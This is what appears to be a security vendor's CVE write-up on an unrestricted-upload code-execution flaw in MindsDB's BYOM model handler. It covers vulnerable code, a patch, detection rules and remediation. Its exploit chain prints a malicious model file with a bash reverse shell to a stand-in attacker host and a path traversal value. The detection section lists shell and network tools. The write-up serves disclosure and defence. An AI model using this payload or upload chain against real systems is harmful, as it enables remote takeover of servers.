home intel cve-2026-7711-mindsdb-byom-unrestricted-upload
CVE Analysis 2026-05-04 · 8 min read

CVE-2026-7711: MindsDB BYOM Engine Handler Unrestricted Upload via exec()

MindsDB's BYOM proc_wrapper.py passes attacker-controlled model code directly to exec() without path sanitization or file type validation, enabling remote code execution via malicious engine upload.

#remote-code-execution#unrestricted-upload#byom-handler#mindsdb-engine#file-manipulation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7711 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7711HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7711 is an unrestricted file upload vulnerability in MindsDB's Bring Your Own Model (BYOM) handler, specifically in the exec function within mindsdb/integrations/handlers/byom_handler/proc_wrapper.py. The affected component is responsible for loading and executing user-supplied ML model code in a subprocess context. Due to the complete absence of file type validation, path canonicalization, and execution sandboxing, an authenticated remote attacker can upload an arbitrary Python file disguised as a model and have it executed by the MindsDB engine process.

The CVSS 7.3 score reflects network exploitability with low privileges required — MindsDB's default deployment exposes the model upload API to any authenticated user, and in misconfigured or cloud-shared instances, authentication controls are frequently weak or absent. No vendor patch has been released as of this writing; the vendor did not respond to disclosure.

Root cause: proc_wrapper.py passes the uploaded model file path directly to Python's exec() via importlib mechanics without validating file extension, MIME type, or canonicalizing the path against an allowlist, permitting arbitrary code execution at model load time.

Affected Component

The vulnerable file is mindsdb/integrations/handlers/byom_handler/proc_wrapper.py, the subprocess wrapper that MindsDB forks when instantiating a BYOM custom model engine. This wrapper imports the user-supplied model class from the uploaded file path using a dynamic import mechanism that ultimately resolves to exec()-equivalent semantics through importlib.util.spec_from_file_location and module.exec_module().

Affected versions: MindsDB up to and including 26.01. The BYOM handler was introduced as a first-class feature in the 23.x series and has carried this pattern forward without review.

Root Cause Analysis

The core issue is in load_model_from_file() inside proc_wrapper.py, called immediately after the uploaded artifact is written to disk. No validation occurs between write and load:


# mindsdb/integrations/handlers/byom_handler/proc_wrapper.py

import importlib.util
import os

def load_model_from_file(model_path: str, class_name: str):
    """
    Load a user-supplied model class from an uploaded file.
    Called by the BYOM engine subprocess after artifact staging.
    """
    # BUG: model_path is attacker-controlled; no extension check,
    # no MIME validation, no path canonicalization against upload root.
    spec = importlib.util.spec_from_file_location("custom_model", model_path)
    module = importlib.util.module_from_spec(spec)

    # BUG: exec_module() is semantically equivalent to exec(open(model_path).read())
    # Any Python file — including one with os.system() at module level — executes here.
    spec.loader.exec_module(module)   # <-- arbitrary code execution point

    # BUG: class_name is also unsanitized; getattr on a fully-exec'd module
    # is irrelevant at this point — damage is already done at exec_module().
    model_class = getattr(module, class_name)
    return model_class


def exec_proc(storage_path: str, target_class: str, params: dict):
    """
    Entry point called by the BYOM handler subprocess.
    storage_path comes from the MindsDB artifact store,
    populated directly from the multipart upload endpoint.
    """
    # BUG: no validation that storage_path resolves within expected upload dir.
    # Path traversal combined with unrestricted upload = full RCE.
    resolved = os.path.join(storage_path, params.get("model_file"))  # attacker-controlled join

    # BUG: resolved path is never checked against a canonical base directory.
    model_cls = load_model_from_file(resolved, target_class)
    instance   = model_cls()
    return instance

The BYOM upload endpoint in byom_handler.py stages the file before any subprocess is forked:


# mindsdb/integrations/handlers/byom_handler/byom_handler.py (simplified)

def create_engine(self, connection_args: dict):
    code_path = connection_args.get("code")    # path to uploaded artifact
    modules   = connection_args.get("modules") # optional pip deps

    # BUG: _exec_check() only verifies the subprocess returns non-zero;
    # it does NOT validate what the uploaded file contains before forking.
    self._exec_check(code_path, modules)

def _exec_check(self, code_path: str, modules: list):
    # Forks proc_wrapper.py with code_path as argument — no pre-flight validation.
    proc = subprocess.Popen(
        [sys.executable, PROC_WRAPPER_PATH, code_path],
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE
    )
    # BUG: stdout/stderr checked for crash signal only, not for malicious output.
    out, err = proc.communicate(timeout=EXEC_TIMEOUT)

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker authenticates to MindsDB HTTP API (default: no auth in dev deployments,
   or any valid account in multi-tenant cloud instances).

2. Craft malicious "model" file — valid Python that executes payload at import time:
     # evil_model.py
     import os, socket, subprocess
     _C2 = ("attacker.tld", 4444)
     subprocess.Popen(["bash","-c","bash -i >& /dev/tcp/attacker.tld/4444 0>&1"])
     class MyModel:           # satisfies class_name lookup post-exec
         def predict(self, df, args): return df

3. POST /api/handlers/byom with multipart body:
     code=@evil_model.py
     name=pwned_engine
     This writes evil_model.py to MindsDB's artifact storage with no type check.

4. MindsDB calls create_engine() → _exec_check() → forks proc_wrapper.py
   with code_path pointing to evil_model.py on disk.

5. proc_wrapper.py calls load_model_from_file(evil_model.py, "MyModel")
   → importlib.util.spec_from_file_location()
   → spec.loader.exec_module(module)   ← reverse shell spawns HERE

6. Shell executes as the MindsDB process user (often root in Docker deployments).
   Artifact storage path is persistent; re-exploitation survives service restart.

OPTIONAL PATH TRAVERSAL ESCALATION:
3b. If upload directory is writable but web root differs, supply:
      model_file=../../../../../../tmp/evil_model.py
    exec_proc()'s os.path.join() does not sanitize — traversal succeeds.

The attack surface is widened by MindsDB's common deployment pattern: a single Docker container running as root with the HTTP API bound to 0.0.0.0:47334. In cloud-hosted MindsDB instances, BYOM is an advertised feature available to free-tier users, meaning authentication alone provides no real barrier.

Memory Layout

This is not a memory corruption vulnerability — exploitation operates entirely at the Python runtime layer. The relevant process state during the attack is the subprocess fork of proc_wrapper.py:


PROCESS STATE DURING BYOM ENGINE LOAD:

[MindsDB main process]
  → forks subprocess: python proc_wrapper.py /data/artifacts/pwned_engine/evil_model.py

[proc_wrapper subprocess — Python interpreter heap]
  Frame: exec_proc()
    storage_path  = "/data/artifacts/pwned_engine/"
    params        = {"model_file": "evil_model.py", "class_name": "MyModel"}
    resolved      = "/data/artifacts/pwned_engine/evil_model.py"   ← attacker-written

  Frame: load_model_from_file()
    model_path    = "/data/artifacts/pwned_engine/evil_model.py"
    spec          = ModuleSpec(name="custom_model", origin=model_path)
    module        = 

  → spec.loader.exec_module(module)
      Python tokenizes + compiles evil_model.py bytecode
      Bytecode LOAD_CONST / CALL_FUNCTION executes subprocess.Popen()
      ↓
      [fork: /bin/bash -c "bash -i >& /dev/tcp/attacker.tld/4444 0>&1"]
      ↓
      Reverse shell → attacker receives shell as mindsdb process UID

ARTIFACT STORAGE LAYOUT (post-upload, pre-exec):
  /data/mindsdb/storage/
    └── handlers/
        └── byom/
            └── pwned_engine/
                └── evil_model.py   ← persisted, no quarantine, no AV hook

Patch Analysis


# BEFORE (vulnerable — proc_wrapper.py):
def load_model_from_file(model_path: str, class_name: str):
    spec   = importlib.util.spec_from_file_location("custom_model", model_path)
    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)   # no validation before exec
    return getattr(module, class_name)


# AFTER (proposed patch):
import pathlib
import ast

ALLOWED_EXTENSIONS = {".py"}
UPLOAD_BASE        = pathlib.Path("/data/mindsdb/storage/handlers/byom").resolve()

def _validate_model_path(model_path: str) -> pathlib.Path:
    resolved = pathlib.Path(model_path).resolve()
    # Prevent path traversal: ensure path stays within upload base.
    if not str(resolved).startswith(str(UPLOAD_BASE)):
        raise SecurityError(f"Path traversal attempt: {model_path}")
    # Enforce extension allowlist.
    if resolved.suffix not in ALLOWED_EXTENSIONS:
        raise SecurityError(f"Disallowed file type: {resolved.suffix}")
    return resolved

def _static_check_model_source(path: pathlib.Path) -> None:
    """
    Parse the AST before execution; reject obvious shell invocations.
    This is a defence-in-depth measure, not a complete sandbox.
    """
    source = path.read_text(encoding="utf-8")
    tree   = ast.parse(source, filename=str(path))
    FORBIDDEN_CALLS = {"system", "popen", "Popen", "exec", "eval", "execve"}
    for node in ast.walk(tree):
        if isinstance(node, ast.Call):
            func = node.func
            name = (func.id if isinstance(func, ast.Name)
                    else func.attr if isinstance(func, ast.Attribute) else None)
            if name in FORBIDDEN_CALLS:
                raise SecurityError(f"Forbidden call '{name}' in model source")

def load_model_from_file(model_path: str, class_name: str):
    safe_path = _validate_model_path(model_path)   # traversal + extension check
    _static_check_model_source(safe_path)           # AST pre-flight scan
    spec   = importlib.util.spec_from_file_location("custom_model", str(safe_path))
    module = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(module)
    return getattr(module, class_name)

The AST scan is a best-effort mitigation, not a complete fix. The authoritative remediation is execution inside a restricted sandbox (e.g., seccomp + builtins override or a gVisor container) because any static analysis of Python can be trivially bypassed via __import__, getattr(builtins, "ex"+"ec"), or codec-based obfuscation. The path validation and extension check are the hard requirements; the AST scan is defense-in-depth.

Detection and Indicators

Detection requires visibility into both the file write and the subprocess execution chain:


SIEM / HIDS INDICATORS:

1. File Write
   path  ~ /data/mindsdb/storage/handlers/byom/**
   event = write
   file  contains ANY of: [subprocess, os.system, socket, pty, __import__]

2. Process Lineage (abnormal child of proc_wrapper.py)
   parent_comm = "python*"
   parent_args ~ "*proc_wrapper.py*"
   child_comm  IN [bash, sh, curl, wget, nc, ncat, python3]

3. Network (reverse shell pattern)
   pid         = [proc_wrapper child PID]
   dst_port    NOT IN [80, 443, 47334]
   proto       = TCP
   → alert: BYOM subprocess unexpected outbound connection

4. MindsDB API Log Pattern
   POST /api/handlers/byom
   Content-Type: multipart/form-data
   → followed within 5s by:
   POST /api/handlers/byom/create_engine   ← triggers exec

FALCO RULE (example):
- rule: MindsDB BYOM Suspicious Child Process
  desc: proc_wrapper.py spawned a shell or network utility
  condition: >
    spawned_process and
    proc.pname contains "proc_wrapper" and
    proc.name in (shell_binaries, network_tool_binaries)
  output: "BYOM RCE: %proc.cmdline (parent=%proc.pname)"
  priority: CRITICAL

Remediation

Immediate (no vendor patch available):

  • Disable the BYOM handler entirely if custom model upload is not a business requirement. Set MINDSDB_BYOM_ENABLED=false or remove byom_handler from the handlers list in config.json.
  • Restrict the /api/handlers/byom endpoint at the reverse proxy layer to internal networks or specific admin IPs only.
  • Run the MindsDB container as a non-root user (--user 1000:1000) and apply a seccomp profile that denies execve in the proc_wrapper subprocess PID namespace.
  • Mount the artifact storage directory noexec where the OS supports it — this prevents the kernel from execve'ing uploaded files directly, though Python's importlib reads and compiles bytecode rather than execve'ing, so this is partial mitigation only.

Long-term (vendor-level fix required): BYOM model execution must occur inside an isolated sandbox with a seccomp-bpf filter denying all syscalls except those needed for numerical computation (read, write, mmap, brk, futex). The execve, socket, connect, fork, and clone syscalls must be denied at the subprocess level. RestrictedPython or a WebAssembly execution environment (e.g., Wasmer embedding) would provide the necessary isolation without requiring OS-level containerization per-request.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →